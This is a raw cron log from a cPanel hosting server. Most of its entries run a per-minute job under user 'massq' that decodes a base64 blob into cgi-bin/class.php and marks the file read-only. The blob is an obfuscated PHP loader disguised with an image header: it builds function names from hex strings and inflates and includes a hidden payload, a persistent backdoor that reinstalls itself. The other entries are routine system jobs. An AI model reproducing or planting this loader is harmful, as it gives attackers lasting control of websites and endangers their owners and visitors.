Nov  9 21:15:01 server CROND[15120]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:15:01 server CROND[15119]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:16:01 server CROND[16002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:17:01 server CROND[16820]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:18:01 server CROND[17649]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:19:01 server CROND[18471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:20:01 server CROND[19287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:20:01 server CROND[19289]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 21:20:01 server CROND[19291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:20:01 server CROND[19290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 21:20:01 server CROND[19292]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 21:21:01 server CROND[19749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:22:01 server CROND[20552]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:23:01 server CROND[21467]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:24:01 server CROND[22227]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:25:01 server CROND[22917]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:25:01 server CROND[22919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 21:25:01 server CROND[22918]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 21:26:01 server CROND[23809]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:27:02 server CROND[24615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 21:27:02 server CROND[24616]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
